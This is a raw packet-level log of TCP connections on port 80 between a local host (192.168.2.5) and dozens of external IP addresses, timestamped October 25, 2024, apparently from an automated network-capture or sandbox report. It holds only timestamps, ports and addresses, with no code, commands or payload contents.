Oct 25, 2024 11:18:14.201349020 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201358080 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201364040 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201390982 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201561928 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201581955 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201598883 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201610088 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201621056 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201631069 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201642036 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201654911 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201658010 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201668024 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201678991 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201684952 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201689959 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201713085 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201750040 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201773882 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201868057 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201877117 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201888084 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201898098 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201909065 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201920033 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201967955 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201977968 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.201986074 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.201989889 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202002048 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202009916 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202013969 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202028036 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202033997 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202040911 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202053070 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202055931 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202065945 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202080965 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202106953 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202253103 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202299118 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202310085 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202375889 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202385902 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202399969 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202414036 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202424049 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202430964 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202438116 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202444077 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202450037 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202462912 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202471018 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202496052 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202507973 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202518940 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202529907 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202543974 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202553034 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202557087 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202564955 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202569008 CEST	80	52928	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:14.202593088 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.202616930 CEST	52928	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:14.205765009 CEST	80	52779	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:14.205837965 CEST	52779	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.206010103 CEST	52779	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.211251974 CEST	80	52779	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:14.216130018 CEST	80	52941	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:14.216552019 CEST	52941	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:14.266797066 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.267138004 CEST	52957	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.270283937 CEST	80	52941	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:14.270335913 CEST	52941	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:14.272464037 CEST	80	52957	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:14.272667885 CEST	80	52627	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:14.272744894 CEST	52627	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.272744894 CEST	52957	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.275605917 CEST	52957	80	192.168.2.5	18.245.31.21
Oct 25, 2024 11:18:14.280944109 CEST	80	52957	18.245.31.21	192.168.2.5
Oct 25, 2024 11:18:14.292948008 CEST	52958	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:14.298269033 CEST	80	52958	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:14.298352003 CEST	52646	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:14.298403978 CEST	52958	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:14.298585892 CEST	52958	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:18:14.298719883 CEST	52959	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:14.303563118 CEST	80	52646	147.154.0.23	192.168.2.5
Oct 25, 2024 11:18:14.303863049 CEST	80	52958	195.78.66.65	192.168.2.5
Oct 25, 2024 11:18:14.304100990 CEST	80	52959	147.154.0.23	192.168.2.5
Oct 25, 2024 11:18:14.305067062 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.305155039 CEST	52959	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:14.305249929 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.305257082 CEST	52959	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:18:14.310527086 CEST	80	52959	147.154.0.23	192.168.2.5
Oct 25, 2024 11:18:14.310955048 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.316386938 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.382620096 CEST	80	52945	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:14.382759094 CEST	52945	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:14.436367989 CEST	80	52945	75.119.202.130	192.168.2.5
Oct 25, 2024 11:18:14.436446905 CEST	52945	80	192.168.2.5	75.119.202.130
Oct 25, 2024 11:18:14.451406002 CEST	80	52947	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.451509953 CEST	52947	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.504362106 CEST	80	52841	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:14.504419088 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:14.504944086 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505002975 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505013943 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505055904 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.505095005 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.505116940 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505129099 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505141020 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505151987 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505163908 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505175114 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505177021 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.505177021 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.505186081 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.505196095 CEST	80	52947	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.505218029 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.505240917 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.505328894 CEST	52947	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.510740995 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.510766983 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.510776997 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.510788918 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.510811090 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.512489080 CEST	52947	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.517769098 CEST	80	52947	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.547610998 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.547698021 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.558676958 CEST	52963	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.559191942 CEST	52946	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.564055920 CEST	80	52963	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.564132929 CEST	52963	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.564275026 CEST	52963	80	192.168.2.5	69.163.182.181
Oct 25, 2024 11:18:14.564435959 CEST	80	52946	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.570071936 CEST	80	52963	69.163.182.181	192.168.2.5
Oct 25, 2024 11:18:14.620325089 CEST	80	52842	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:14.620398045 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:14.639415979 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.639439106 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.639451027 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.639537096 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.639646053 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.639667034 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.639678001 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.639743090 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.640440941 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640486956 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640497923 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640628099 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640633106 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.640640974 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640671968 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.640743971 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.640901089 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640954971 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.640963078 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.640974998 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.641015053 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.641024113 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.641026020 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.641077042 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.641838074 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.641887903 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.641900063 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.641923904 CEST	80	52944	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.642040014 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.642096996 CEST	52944	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.654004097 CEST	80	52951	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:14.654062986 CEST	52951	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:14.688196898 CEST	80	52951	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:14.688874960 CEST	52951	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:14.688942909 CEST	52951	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:14.694461107 CEST	80	52951	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:14.708324909 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:14.708969116 CEST	52967	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:14.709490061 CEST	52968	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:14.710957050 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.711028099 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.711425066 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.713843107 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:14.713888884 CEST	52970	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.713980913 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:14.714086056 CEST	52964	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:14.714330912 CEST	80	52967	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:14.714498997 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:14.714529037 CEST	52967	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:14.714565992 CEST	52972	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:14.714628935 CEST	52967	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:14.714917898 CEST	80	52968	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:14.714951038 CEST	52966	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:14.714977026 CEST	52968	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:14.715076923 CEST	52965	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:14.715532064 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715563059 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715599060 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715605021 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715629101 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715642929 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715687990 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715734005 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715738058 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715771914 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715786934 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715805054 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715817928 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715840101 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715847015 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715873003 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715899944 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715908051 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715910912 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715943098 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.715953112 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.715984106 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.716805935 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.716909885 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.717057943 CEST	52969	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.719428062 CEST	80	52970	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:14.719445944 CEST	80	52964	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:14.719504118 CEST	52970	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.720072031 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:14.720088005 CEST	80	52972	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:14.720102072 CEST	80	52967	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:14.720138073 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:14.720175982 CEST	52972	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:14.720237017 CEST	80	52966	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:14.720417976 CEST	52966	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:14.720443010 CEST	52971	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:14.720448017 CEST	52966	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:14.720468044 CEST	80	52965	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:14.720530987 CEST	52972	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:14.720544100 CEST	52965	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:14.720753908 CEST	52965	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:14.721349955 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.721402884 CEST	80	52934	183.90.183.73	192.168.2.5
Oct 25, 2024 11:18:14.721402884 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.721442938 CEST	52934	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:18:14.722631931 CEST	80	52969	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.725788116 CEST	80	52966	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:14.725872993 CEST	80	52971	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:14.725893974 CEST	80	52972	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:14.726070881 CEST	80	52965	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:14.726524115 CEST	80	52952	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:14.726579905 CEST	52952	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.730611086 CEST	52968	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:14.731766939 CEST	52949	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:18:14.732264042 CEST	52973	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:14.732619047 CEST	52970	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:14.732810020 CEST	52952	80	192.168.2.5	13.248.169.48
Oct 25, 2024 11:18:14.735116005 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.735889912 CEST	80	52968	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:14.737224102 CEST	80	52949	3.65.101.129	192.168.2.5
Oct 25, 2024 11:18:14.737555027 CEST	80	52973	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:14.737629890 CEST	52973	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:14.737858057 CEST	52973	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:14.738003969 CEST	80	52970	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:14.738146067 CEST	80	52952	13.248.169.48	192.168.2.5
Oct 25, 2024 11:18:14.740468025 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:14.740593910 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.741297960 CEST	52974	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:18:14.743227959 CEST	80	52973	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:14.743778944 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743840933 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.743891001 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743915081 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743935108 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743944883 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.743951082 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743968964 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.743968964 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743988991 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.743997097 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.743997097 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.744010925 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.744024038 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.744029045 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.744045973 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.744049072 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.744046926 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.744098902 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.744098902 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.746701002 CEST	80	52974	217.79.184.35	192.168.2.5
Oct 25, 2024 11:18:14.749429941 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.749458075 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.749614000 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.749650955 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.763206005 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763232946 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763251066 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763266087 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763274908 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.763282061 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763339043 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.763339043 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.763365984 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763401985 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763427973 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763442993 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763451099 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.763458967 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.763474941 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.763500929 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.763520956 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.768770933 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.768855095 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.768999100 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.769103050 CEST	80	52920	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:14.769385099 CEST	52920	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:14.787954092 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.788800955 CEST	52976	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.795025110 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.795053005 CEST	80	52976	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:14.795093060 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.795123100 CEST	52976	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.795264959 CEST	52975	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:14.795413971 CEST	52976	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:18:14.800725937 CEST	80	52975	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:14.800740004 CEST	80	52976	188.166.152.188	192.168.2.5
Oct 25, 2024 11:18:14.801858902 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.801912069 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.801956892 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.801973104 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.801987886 CEST	80	52955	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:14.801992893 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.801994085 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.802079916 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.802079916 CEST	52955	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:14.804559946 CEST	80	52946	3.65.101.129	192.168.2.5
